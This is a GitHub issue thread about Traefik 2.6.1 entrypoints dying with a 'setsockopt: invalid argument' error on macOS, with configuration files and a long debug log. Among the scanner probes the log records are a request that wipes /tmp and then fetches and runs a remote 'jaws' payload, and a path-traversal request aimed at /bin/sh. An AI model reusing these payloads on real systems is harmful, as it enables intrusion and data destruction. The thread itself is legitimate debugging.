Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

setsockopt: invalid argument #8841

Open
2 tasks done
DuckThom opened this issue Mar 15, 2022 · 11 comments
Open
2 tasks done

setsockopt: invalid argument #8841

DuckThom opened this issue Mar 15, 2022 · 11 comments
Assignees
Labels
area/tcp kind/bug/possible a possible bug that needs analysis before it is confirmed or fixed.
Projects

Comments

@DuckThom
Copy link

Welcome!

  • Yes, I've searched similar issues on GitHub and didn't find any.
  • Yes, I've searched similar issues on the Traefik community forum and didn't find any.

What did you do?

Nothing in particular. The error seems to be happening without a specific action occurring.

What did you see instead?

The entrypoints seem to die out of the blue with the error "setsockopt: invalid argument" in the logs.
After this error appears in the log, Traefik wont accept any new incoming connections.

I've found #8071 however this was closed without a resolution. And https://community.traefik.io/t/traffic-stops-accepting-connections-on-certain-entrypoints-after-running-for-about-a-week/10390 also has not been updated since April 2021

What version of Traefik are you using?

Version:      2.6.1
Codename:     cheddar
Go version:   go1.17.6
Built:        I don't remember exactly
OS/Arch:      darwin/arm64

What is your environment & configuration?

System:

  • OS: MacOS 11.6
  • M1 (Mac Mini)

traefik.toml

[entryPoints]
  [entryPoints.web]
    address = ":80"
    [entryPoints.web.http.redirections.entryPoint]
      to = "websecure"
      scheme = "https"

  [entryPoints.websecure]
    address = ":443"
    [entryPoints.websecure.http.tls]

[certificatesResolvers.le-resolver.acme]
  email = "<redacted>"
  storage = "acme.json"
  [certificatesResolvers.le-resolver.acme.httpChallenge]
    entryPoint = "web"

[accessLog]

[log]
  level = "DEBUG"

[api]
  dashboard = true

[providers.file]
  filename = "/opt/homebrew/etc/traefik/traefik_dynamic.yml"

traefik_dynamic.yml

http:
  routers:
    <redacted>:
      rule: "Host(`<redacted>`)"
      service: <redacted>
      entryPoints:
        - websecure
      tls:
        certResolver: le-resolver

  services:
    <redacted>:
      loadBalancer:
        servers:
        - url: "http://localhost:3000/"

If applicable, please paste the log output in DEBUG level

Note: This is INFO level logging, I'm still collecting debug output logging

time="2022-03-14T07:27:22+01:00" level=error msg="set tcp 192.168.1.xxx:443->xxx.xxx.xxx.xxx:58532: setsockopt: invalid argument" entryPointName=websecure
time="2022-03-14T07:27:22+01:00" level=error msg="Error while starting server: set tcp 192.168.1.xxx:443->xxx.xxx.xxx.xxx:58532: setsockopt: invalid argument" entryPointName=websecure
time="2022-03-14T07:27:22+01:00" level=error msg="Error while starting server: set tcp 192.168.1.xxx:443->xxx.xxx.xxx.xxx:58532: setsockopt: invalid argument" entryPointName=websecure
time="2022-03-15T13:29:29+01:00" level=info msg="Testing certificate renew..." providerName=le-resolver.acme ACME CA="https://acme-v02.api.letsencrypt.org/directory"
time="2022-03-15T13:29:29+01:00" level=info msg="Testing certificate renew..." ACME CA="https://acme-v02.api.letsencrypt.org/directory" providerName=le-resolver.acme
@tomMoulard
Copy link
Member

Hello @DuckThom,

Thanks for your interest in Traefik !

We can see that you are using a custom version of traefik.
Can you make sure that you have the same issue on an official build of Traefik ?

@tomMoulard tomMoulard added kind/bug/possible a possible bug that needs analysis before it is confirmed or fixed. contributor/waiting-for-feedback and removed status/0-needs-triage labels Mar 16, 2022
@tomMoulard tomMoulard added this to issues in v2 via automation Mar 16, 2022
@DuckThom
Copy link
Author

@tomMoulard

Ah, I see. I installed this version with brew install traefik (See https://github.com/Homebrew/homebrew-core/blob/HEAD/Formula/traefik.rb how it's built/installed), I'm now running the version downloaded from the releases page:

Version:      2.6.1
Codename:     rocamadour
Go version:   go1.17.7
Built:        2022-02-14T16:50:25Z
OS/Arch:      darwin/arm64

However, just FYI, it can take some time for the issue to appear.

@jakubhajek
Copy link
Contributor

hello @DuckThom

I have just tried to reproduce the issue you are experiencing. I am on Mac 12.1 and I downloaded the latest Traefik version which is 2.6.1

❯ traefik version
Version:      2.6.1
Codename:     cheddar
Go version:   go1.17.6
Built:        I don't remember exactly
OS/Arch:      darwin/arm64

I used almost the same static and dynamic configuration as you shared. So far, everything works as expected.

Do you know how long should I wait to get the error message you were experiencing?

@DuckThom
Copy link
Author

@jakubhajek Unfortunately, it usually only happens when traefik has been running for a couple of days.

I just checked the logs again and it appears that this morning, the web entrypoint died again with the same error message. However, the websecure entrypoint is still running correctly.

time="2022-03-17T05:27:23+01:00" level=error msg="set tcp 192.168.1.xxx:80->xxx.xxx.xxx.xxx:9731: setsockopt: invalid argument" entryPointName=web
time="2022-03-17T05:27:23+01:00" level=error msg="Error while starting server: set tcp 192.168.1.xxx:80->xxx.xxx.xxx.xxx:9731: setsockopt: invalid argument" entryPointName=web
time="2022-03-17T05:27:23+01:00" level=error msg="Error while starting server: set tcp 192.168.1.xxx:80->xxx.xxx.xxx.xxx:9731: setsockopt: invalid argument" entryPointName=web

This is with debug logging enabled, unfortunately, there doesn't seem to be anything related to this error in there. the logs before and after are from more than an hour earlier and later.

@DuckThom
Copy link
Author

I've done some more digging and it appears that the error itself is coming from net/http's Serve method.

err := serverHTTP.Serve(listener)

I haven't been able to reliably reproduce this yes but I have a feeling that perhaps a dropped connection or something isn't being handled correctly and that it might kill the entrypoint and it doesn't get restarted. But that's just a theory, I cannot say for certain.

@jakubhajek
Copy link
Contributor

jakubhajek commented Mar 18, 2022

Can you please check that the issue you described might be related to computer hibernation? May we also ask you to share the complete debug log? Thank you,

FYI: I was running Traefik on my laptop for some time I was not able to reproduce the issue. My laptop has been hibernated and then awaken and the issue has not occurred.

@DuckThom
Copy link
Author

The computer doesn't go into hibernation, it's a server I have running 24/7 at home. Below is the long debug log. I did strip out some repetitive lines (mostly GET/POST requests trying to get .env files and such)

Click to expand
time="2022-03-17T16:25:08+01:00" level=info msg="Configuration loaded from file: /opt/homebrew/etc/traefik/traefik.toml"
time="2022-03-17T16:25:08+01:00" level=info msg="Traefik version 2.6.1 built on 2022-02-14T16:50:25Z"
time="2022-03-17T16:25:08+01:00" level=debug msg="Static configuration loaded {\"global\":{\"checkNewVersion\":true},\"serversTransport\":{\"maxIdleConnsPerHost\":200},\"entryPoints\":{\"web\":{\"address\":\":80\",\"transport\":{\"lifeCycle\":{\"graceTi
meOut\":\"10s\"},\"respondingTimeouts\":{\"idleTimeout\":\"3m0s\"}},\"forwardedHeaders\":{},\"http\":{\"redirections\":{\"entryPoint\":{\"to\":\"websecure\",\"scheme\":\"https\",\"permanent\":true,\"priority\":2147483646}}},\"udp\":{\"timeout\":\"3s\"}}
,\"websecure\":{\"address\":\":443\",\"transport\":{\"lifeCycle\":{\"graceTimeOut\":\"10s\"},\"respondingTimeouts\":{\"idleTimeout\":\"3m0s\"}},\"forwardedHeaders\":{},\"http\":{\"tls\":{}},\"udp\":{\"timeout\":\"3s\"}}},\"providers\":{\"providersThrott
leDuration\":\"2s\",\"file\":{\"watch\":true,\"filename\":\"/opt/homebrew/etc/traefik/traefik_dynamic.yml\"}},\"api\":{\"dashboard\":true},\"log\":{\"level\":\"DEBUG\",\"format\":\"common\"},\"accessLog\":{\"format\":\"common\",\"filters\":{},\"fields\"
:{\"defaultMode\":\"keep\",\"headers\":{\"defaultMode\":\"drop\"}}},\"certificatesResolvers\":{\"le-resolver\":{\"acme\":{\"email\":\"<redacted>\",\"caServer\":\"https://acme-v02.api.letsencrypt.org/directory\",\"storage\":\"acme.json\",\"keyTy
pe\":\"RSA4096\",\"certificatesDuration\":2160,\"httpChallenge\":{\"entryPoint\":\"web\"}}}},\"pilot\":{\"dashboard\":true}}"
time="2022-03-17T16:25:08+01:00" level=info msg="\nStats collection is disabled.\nHelp us improve Traefik by turning this feature on :)\nMore details on: https://doc.traefik.io/traefik/contributing/data-collection/\n"
time="2022-03-17T16:25:08+01:00" level=debug msg="Start TCP Server" entryPointName=web
time="2022-03-17T16:25:08+01:00" level=debug msg="Start TCP Server" entryPointName=websecure
time="2022-03-17T16:25:08+01:00" level=info msg="Starting provider aggregator.ProviderAggregator"
time="2022-03-17T16:25:08+01:00" level=info msg="Starting provider *file.Provider"
time="2022-03-17T16:25:08+01:00" level=debug msg="*file.Provider provider configuration: {\"watch\":true,\"filename\":\"/opt/homebrew/etc/traefik/traefik_dynamic.yml\"}"
time="2022-03-17T16:25:08+01:00" level=info msg="Starting provider *traefik.Provider"
time="2022-03-17T16:25:08+01:00" level=debug msg="*traefik.Provider provider configuration: {}"
time="2022-03-17T16:25:08+01:00" level=info msg="Starting provider *acme.ChallengeTLSALPN"
time="2022-03-17T16:25:08+01:00" level=debug msg="*acme.ChallengeTLSALPN provider configuration: {\"Timeout\":4000000000}"
time="2022-03-17T16:25:08+01:00" level=info msg="Starting provider *acme.Provider"
time="2022-03-17T16:25:08+01:00" level=debug msg="*acme.Provider provider configuration: {\"email\":\"<redacted>\",\"caServer\":\"https://acme-v02.api.letsencrypt.org/directory\",\"storage\":\"acme.json\",\"keyType\":\"RSA4096\",\"certificatesDuration\":2160,\"httpChallenge\":{\"entryPoint\":\"web\"},\"ResolverName\":\"le-resolver\",\"store\":{},\"TLSChallengeProvider\":{\"Timeout\":4000000000},\"HTTPChallengeProvider\":{}}"
time="2022-03-17T16:25:08+01:00" level=debug msg="Attempt to renew certificates \"720h0m0s\" before expiry and check every \"24h0m0s\"" ACME CA="https://acme-v02.api.letsencrypt.org/directory" providerName=le-resolver.acme
time="2022-03-17T16:25:08+01:00" level=info msg="Testing certificate renew..." ACME CA="https://acme-v02.api.letsencrypt.org/directory" providerName=le-resolver.acme
time="2022-03-17T16:25:08+01:00" level=debug msg="Configuration received from provider file: {\"http\":{\"routers\":{\"grafana\":{\"entryPoints\":[\"websecure\"],\"service\":\"grafana\",\"rule\":\"Host(`grafana.tjwiringa.nl`)\",\"tls\":{\"certResolver\":\"le-resolver\"}}},\"services\":{\"grafana\":{\"loadBalancer\":{\"servers\":[{\"url\":\"http://localhost:3000/\"}],\"passHostHeader\":true}}}},\"tcp\":{},\"udp\":{},\"tls\":{}}" providerName=file
time="2022-03-17T16:25:08+01:00" level=debug msg="Configuration received from provider internal: {\"http\":{\"routers\":{\"acme-http\":{\"entryPoints\":[\"web\"],\"service\":\"acme-http@internal\",\"rule\":\"PathPrefix(`/.well-known/acme-challenge/`)\",\"priority\":2147483647},\"web-to-websecure\":{\"entryPoints\":[\"web\"],\"middlewares\":[\"redirect-web-to-websecure\"],\"service\":\"noop@internal\",\"rule\":\"HostRegexp(`{host:.+}`)\",\"priority\":2147483646}},\"services\":{\"acme-http\":{},\"api\":{},\"dashboard\":{},\"noop\":{}},\"middlewares\":{\"redirect-web-to-websecure\":{\"redirectScheme\":{\"scheme\":\"https\",\"port\":\"443\",\"permanent\":true}}},\"models\":{\"websecure\":{\"tls\":{}}},\"serversTransports\":{\"default\":{\"maxIdleConnsPerHost\":200}}},\"tcp\":{},\"tls\":{}}" providerName=internal
time="2022-03-17T16:25:08+01:00" level=debug msg="Configuration received from provider le-resolver.acme: {\"http\":{},\"tls\":{}}" providerName=le-resolver.acme
time="2022-03-17T16:25:08+01:00" level=debug msg="No default certificate, generating one" tlsStoreName=default
time="2022-03-17T16:25:08+01:00" level=debug msg="Added outgoing tracing middleware noop@internal" entryPointName=web routerName=web-to-websecure@internal middlewareName=tracing middlewareType=TracingForwarder
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating middleware" middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme entryPointName=web routerName=web-to-websecure@internal
time="2022-03-17T16:25:08+01:00" level=debug msg="Setting up redirection to https 443" routerName=web-to-websecure@internal middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme entryPointName=web
time="2022-03-17T16:25:08+01:00" level=debug msg="Adding tracing to middleware" middlewareName=redirect-web-to-websecure@internal entryPointName=web routerName=web-to-websecure@internal
time="2022-03-17T16:25:08+01:00" level=debug msg="Added outgoing tracing middleware acme-http@internal" middlewareType=TracingForwarder entryPointName=web routerName=acme-http@internal middlewareName=tracing
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating middleware" entryPointName=web middlewareName=traefik-internal-recovery middlewareType=Recovery
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating middleware" serviceName=grafana middlewareName=pipelining middlewareType=Pipelining entryPointName=websecure routerName=grafana@file
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating load-balancer" serviceName=grafana entryPointName=websecure routerName=grafana@file
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating server 0 http://localhost:3000/" routerName=grafana@file serviceName=grafana serverName=0 entryPointName=websecure
time="2022-03-17T16:25:08+01:00" level=debug msg="child http://localhost:3000/ now UP"
time="2022-03-17T16:25:08+01:00" level=debug msg="Propagating new UP status"
time="2022-03-17T16:25:08+01:00" level=debug msg="Added outgoing tracing middleware grafana" routerName=grafana@file middlewareName=tracing middlewareType=TracingForwarder entryPointName=websecure
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating middleware" middlewareType=Recovery entryPointName=websecure middlewareName=traefik-internal-recovery
time="2022-03-17T16:25:08+01:00" level=debug msg="Adding route for grafana.tjwiringa.nl with TLS options default" entryPointName=websecure
time="2022-03-17T16:25:08+01:00" level=debug msg="No default certificate, generating one" tlsStoreName=default
time="2022-03-17T16:25:08+01:00" level=debug msg="Try to challenge certificate for domain [grafana.tjwiringa.nl] found in HostSNI rule" routerName=grafana@file rule="Host(`grafana.tjwiringa.nl`)" ACME CA="https://acme-v02.api.letsencrypt.org/directory"
providerName=le-resolver.acme
time="2022-03-17T16:25:08+01:00" level=debug msg="Looking for provided certificate(s) to validate [\"grafana.tjwiringa.nl\"]..." rule="Host(`grafana.tjwiringa.nl`)" ACME CA="https://acme-v02.api.letsencrypt.org/directory" providerName=le-resolver.acme r
outerName=grafana@file
time="2022-03-17T16:25:08+01:00" level=debug msg="Adding certificate for domain(s) grafana.tjwiringa.nl"
time="2022-03-17T16:25:08+01:00" level=debug msg="No ACME certificate generation required for domains [\"grafana.tjwiringa.nl\"]." rule="Host(`grafana.tjwiringa.nl`)" ACME CA="https://acme-v02.api.letsencrypt.org/directory" providerName=le-resolver.acme
routerName=grafana@file
time="2022-03-17T16:25:08+01:00" level=debug msg="Added outgoing tracing middleware noop@internal" middlewareName=tracing middlewareType=TracingForwarder routerName=web-to-websecure@internal entryPointName=web
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating middleware" routerName=web-to-websecure@internal middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme entryPointName=web
time="2022-03-17T16:25:08+01:00" level=debug msg="Setting up redirection to https 443" routerName=web-to-websecure@internal middlewareName=redirect-web-to-websecure@internal middlewareType=RedirectScheme entryPointName=web
time="2022-03-17T16:25:08+01:00" level=debug msg="Adding tracing to middleware" middlewareName=redirect-web-to-websecure@internal entryPointName=web routerName=web-to-websecure@internal
time="2022-03-17T16:25:08+01:00" level=debug msg="Added outgoing tracing middleware acme-http@internal" routerName=acme-http@internal entryPointName=web middlewareName=tracing middlewareType=TracingForwarder
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating middleware" entryPointName=web middlewareName=traefik-internal-recovery middlewareType=Recovery
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating middleware" middlewareType=Pipelining serviceName=grafana entryPointName=websecure routerName=grafana@file middlewareName=pipelining
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating load-balancer" serviceName=grafana entryPointName=websecure routerName=grafana@file
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating server 0 http://localhost:3000/" serverName=0 entryPointName=websecure routerName=grafana@file serviceName=grafana
time="2022-03-17T16:25:08+01:00" level=debug msg="child http://localhost:3000/ now UP"
time="2022-03-17T16:25:08+01:00" level=debug msg="Propagating new UP status"
time="2022-03-17T16:25:08+01:00" level=debug msg="Added outgoing tracing middleware grafana" middlewareType=TracingForwarder entryPointName=websecure routerName=grafana@file middlewareName=tracing
time="2022-03-17T16:25:08+01:00" level=debug msg="Creating middleware" entryPointName=websecure middlewareType=Recovery middlewareName=traefik-internal-recovery
time="2022-03-17T16:25:08+01:00" level=debug msg="Adding route for grafana.tjwiringa.nl with TLS options default" entryPointName=websecure
time="2022-03-17T16:25:08+01:00" level=debug msg="Try to challenge certificate for domain [grafana.tjwiringa.nl] found in HostSNI rule" routerName=grafana@file rule="Host(`grafana.tjwiringa.nl`)" ACME CA="https://acme-v02.api.letsencrypt.org/directory"
providerName=le-resolver.acme
time="2022-03-17T16:25:08+01:00" level=debug msg="Looking for provided certificate(s) to validate [\"grafana.tjwiringa.nl\"]..." providerName=le-resolver.acme routerName=grafana@file rule="Host(`grafana.tjwiringa.nl`)" ACME CA="https://acme-v02.api.lets
encrypt.org/directory"
time="2022-03-17T16:25:08+01:00" level=debug msg="No ACME certificate generation required for domains [\"grafana.tjwiringa.nl\"]." routerName=grafana@file rule="Host(`grafana.tjwiringa.nl`)" ACME CA="https://acme-v02.api.letsencrypt.org/directory" provi
derName=le-resolver.acme
time="2022-03-17T16:31:51+01:00" level=debug msg="Serving default certificate for request: \"metrics.icloud.com\""
time="2022-03-17T16:31:51+01:00" level=debug msg="http: TLS handshake error from [::1]:62914: EOF"
time="2022-03-17T16:31:51+01:00" level=debug msg="Serving default certificate for request: \"metrics.icloud.com\""
time="2022-03-17T16:31:51+01:00" level=debug msg="http: TLS handshake error from [::1]:62916: EOF"
time="2022-03-17T16:31:51+01:00" level=debug msg="Serving default certificate for request: \"metrics.icloud.com\""
time="2022-03-17T16:31:51+01:00" level=debug msg="http: TLS handshake error from [::1]:62917: tls: client using inappropriate protocol fallback"
<redacted> - - [17/Mar/2022:16:31:47 +0000] "GET /phpMyAdmin-4.9.7/index.php?lang=en HTTP/1.1" 301 17 "-" "-" 37 "web-to-websecure@internal" "-" 0ms
time="2022-03-17T17:31:47+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-17T17:31:47+01:00" level=debug msg="http: TLS handshake error from <redacted>:59422: remote error: tls: bad certificate"
time="2022-03-17T17:40:06+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [17/Mar/2022:16:40:07 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 38 "-" "-" 0ms
time="2022-03-17T17:52:22+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [17/Mar/2022:16:52:23 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 39 "-" "-" 0ms
<redacted> - - [17/Mar/2022:17:09:13 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 40 "web-to-websecure@internal" "-" 0ms
time="2022-03-17T18:09:14+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [17/Mar/2022:17:09:16 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 41 "-" "-" 0ms
<redacted> - - [17/Mar/2022:17:10:59 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 42 "web-to-websecure@internal" "-" 0ms
<redacted> - - [17/Mar/2022:17:23:40 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 43 "web-to-websecure@internal" "-" 0ms
time="2022-03-17T18:23:41+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [17/Mar/2022:17:23:41 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 44 "-" "-" 0ms
<redacted> - - [17/Mar/2022:17:32:26 +0000] "GET /dispatch.asp HTTP/1.1" 301 17 "-" "-" 45 "web-to-websecure@internal" "-" 0ms
time="2022-03-17T18:35:44+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [17/Mar/2022:17:35:45 +0000] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 404 19 "-" "-" 46 "-" "-" 0ms
<redacted> - - [17/Mar/2022:17:37:15 +0000] "POST /GO/1.php HTTP/1.1" 308 18 "-" "-" 47 "web-to-websecure@internal" "-" 0ms
<redacted> - - [17/Mar/2022:17:41:34 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 48 "web-to-websecure@internal" "-" 0ms
<redacted> - - [17/Mar/2022:17:41:42 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 49 "web-to-websecure@internal" "-" 0ms
time="2022-03-17T18:41:43+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [17/Mar/2022:17:41:44 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 50 "-" "-" 0ms
<redacted> - - [17/Mar/2022:17:41:44 +0000] "GET /favicon.ico HTTP/1.1" 301 17 "-" "-" 51 "web-to-websecure@internal" "-" 0ms
<redacted> - - [17/Mar/2022:17:41:45 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 52 "-" "-" 0ms
<redacted> - - [17/Mar/2022:17:41:52 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 53 "web-to-websecure@internal" "-" 0ms
time="2022-03-17T18:41:53+01:00" level=debug msg="Serving default certificate for request: \"home.tjwiringa.nl\""
<redacted> - - [17/Mar/2022:17:41:54 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 54 "-" "-" 0ms
<redacted> - - [17/Mar/2022:17:41:55 +0000] "GET /favicon.ico HTTP/1.1" 301 17 "-" "-" 55 "web-to-websecure@internal" "-" 0ms
<redacted> - - [17/Mar/2022:17:41:55 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 56 "-" "-" 0ms
<redacted> - - [17/Mar/2022:18:03:15 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 57 "web-to-websecure@internal" "-" 0ms
time="2022-03-17T19:13:42+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [17/Mar/2022:18:13:43 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 58 "-" "-" 0ms
time="2022-03-17T19:13:45+01:00" level=debug msg="http: TLS handshake error from <redacted>:37482: EOF"
time="2022-03-17T19:13:46+01:00" level=debug msg="http: TLS handshake error from <redacted>:38120: tls: client requested unsupported application protocols ([http/0.9 http/1.0 spdy/1 spdy/2 spdy/3 h2c hq])"
time="2022-03-17T19:13:46+01:00" level=debug msg="http: TLS handshake error from <redacted>:38772: tls: client requested unsupported application protocols ([hq h2c spdy/3 spdy/2 spdy/1 http/1.0 http/0.9])"
<redacted> - - [17/Mar/2022:19:57:38 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 158 "-" "-" 0ms
time="2022-03-17T20:57:38+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-17T20:57:38+01:00" level=debug msg="http: TLS handshake error from <redacted>:33018: tls: no cipher suite supported by both client and server"
<redacted> - - [17/Mar/2022:19:57:38 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 159 "web-to-websecure@internal" "-" 0ms
time="2022-03-17T20:57:38+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-17T20:57:39+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-17T20:57:39+01:00" level=debug msg="http: TLS handshake error from <redacted>:33128: tls: no cipher suite supported by both client and server"
time="2022-03-17T20:57:39+01:00" level=debug msg="http: TLS handshake error from <redacted>:33046: EOF"
time="2022-03-17T20:57:39+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-17T20:57:39+01:00" level=debug msg="http: TLS handshake error from <redacted>:33288: tls: no cipher suite supported by both client and server"
time="2022-03-17T20:57:39+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-17T20:57:39+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-17T20:57:39+01:00" level=debug msg="http: TLS handshake error from <redacted>:33448: tls: no cipher suite supported by both client and server"
time="2022-03-17T20:57:39+01:00" level=debug msg="http: TLS handshake error from <redacted>:33328: EOF"
time="2022-03-17T20:57:39+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-17T20:57:39+01:00" level=debug msg="http: TLS handshake error from <redacted>:33582: tls: no cipher suite supported by both client and server"
<redacted> - - [17/Mar/2022:20:41:02 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 404 19 "-" "-" 176 "-" "-" 0ms
<redacted> - - [17/Mar/2022:20:58:13 +0000] "GET /echo.php HTTP/1.1" - - "-" "-" 177 "-" "-" 0ms
<redacted> - - [17/Mar/2022:21:10:54 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+<redacted>/jaws;sh+/tmp/jaws HTTP/1.1" 301 17 "-" "-" 178 "web-to-websecure@internal" "-" 0ms
time="2022-03-17T22:10:54+01:00" level=debug msg="http: URL query contains semicolon, which is no longer a supported separator; parts of the query may be stripped when parsed; see golang.org/issue/25192"
<redacted> - - [17/Mar/2022:21:13:37 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 179 "web-to-websecure@internal" "-" 0ms
<redacted> - - [17/Mar/2022:21:13:53 +0000] "POST /HNAP1/ HTTP/1.1" 308 18 "-" "-" 180 "web-to-websecure@internal" "-" 0ms
time="2022-03-18T21:55:32+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T21:55:32+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T21:55:33+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T21:55:33+01:00" level=debug msg="http: TLS handshake error from <redacted>:58318: tls: client offered only unsupported versions: []"
time="2022-03-18T21:55:34+01:00" level=debug msg="http: TLS handshake error from <redacted>:39503: tls: unsupported SSLv2 handshake received"
time="2022-03-18T21:55:34+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T21:55:35+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T21:55:35+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T21:55:35+01:00" level=debug msg="http: TLS handshake error from <redacted>:33213: tls: no cipher suite supported by both client and server"
time="2022-03-18T21:55:35+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T21:55:36+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T21:55:36+01:00" level=debug msg="http: TLS handshake error from <redacted>:34544: tls: no cipher suite supported by both client and server"
time="2022-03-18T21:55:36+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T21:55:36+01:00" level=debug msg="http: TLS handshake error from <redacted>:34922: tls: no cipher suite supported by both client and server"
<redacted> - - [18/Mar/2022:21:14:36 +0000] "GET /vicidial/admin.php?ADD=140000000000 HTTP/1.1" 301 17 "-" "-" 301 "web-to-websecure@internal" "-" 0ms
time="2022-03-18T22:14:36+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [18/Mar/2022:21:14:36 +0000] "GET /vicidial/admin.php?ADD=140000000000 HTTP/1.1" 404 19 "-" "-" 302 "-" "-" 0ms
time="2022-03-18T22:21:12+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [18/Mar/2022:21:28:58 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 308 18 "-" "-" 303 "web-to-websecure@internal" "-" 0ms
<redacted> - - [18/Mar/2022:21:32:11 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 304 "web-to-websecure@internal" "-" 0ms
time="2022-03-18T22:32:11+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [18/Mar/2022:21:32:11 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 305 "-" "-" 0ms
<redacted> - - [18/Mar/2022:21:32:12 +0000] "GET /showLogin.cc HTTP/1.1" 301 17 "-" "-" 306 "web-to-websecure@internal" "-" 0ms
time="2022-03-18T22:32:12+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [18/Mar/2022:21:32:12 +0000] "GET /showLogin.cc HTTP/1.1" 404 19 "-" "-" 307 "-" "-" 0ms
<redacted> - - [18/Mar/2022:22:17:52 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 308 "-" "-" 0ms
time="2022-03-18T23:18:00+01:00" level=debug msg="Serving default certificate for request: \"abc-u6u673wef\""
time="2022-03-18T23:18:01+01:00" level=debug msg="http: TLS handshake error from <redacted>:59868: read tcp <redacted>:80-><redacted>:59868: read: connection reset by peer"
<redacted> - - [18/Mar/2022:22:19:07 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 309 "-" "-" 0ms
time="2022-03-18T23:29:47+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [18/Mar/2022:22:29:47 +0000] "GET /admin//config.php HTTP/1.1" 404 19 "-" "-" 310 "-" "-" 0ms
<redacted> - - [18/Mar/2022:22:43:07 +0000] "GET /robots.txt HTTP/1.1" 301 17 "-" "-" 311 "web-to-websecure@internal" "-" 0ms
time="2022-03-18T23:43:07+01:00" level=debug msg="Serving default certificate for request: \"<redacted>.wiringa.nl\""
<redacted> - - [18/Mar/2022:22:43:07 +0000] "GET /robots.txt HTTP/1.1" 404 19 "-" "-" 312 "-" "-" 0ms
time="2022-03-18T23:43:07+01:00" level=debug msg="Serving default certificate for request: \"<redacted>.wiringa.nl\""
<redacted> - - [18/Mar/2022:22:43:07 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 313 "-" "-" 0ms
time="2022-03-18T23:49:35+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [18/Mar/2022:22:49:36 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 314 "-" "-" 0ms
time="2022-03-18T23:53:52+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T23:53:53+01:00" level=debug msg="http: TLS handshake error from <redacted>:54906: local error: tls: bad record MAC"
time="2022-03-18T23:54:02+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-18T23:54:02+01:00" level=debug msg="http: TLS handshake error from <redacted>:43048: local error: tls: bad record MAC"
<redacted> - - [18/Mar/2022:23:09:49 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 315 "web-to-websecure@internal" "-" 0ms
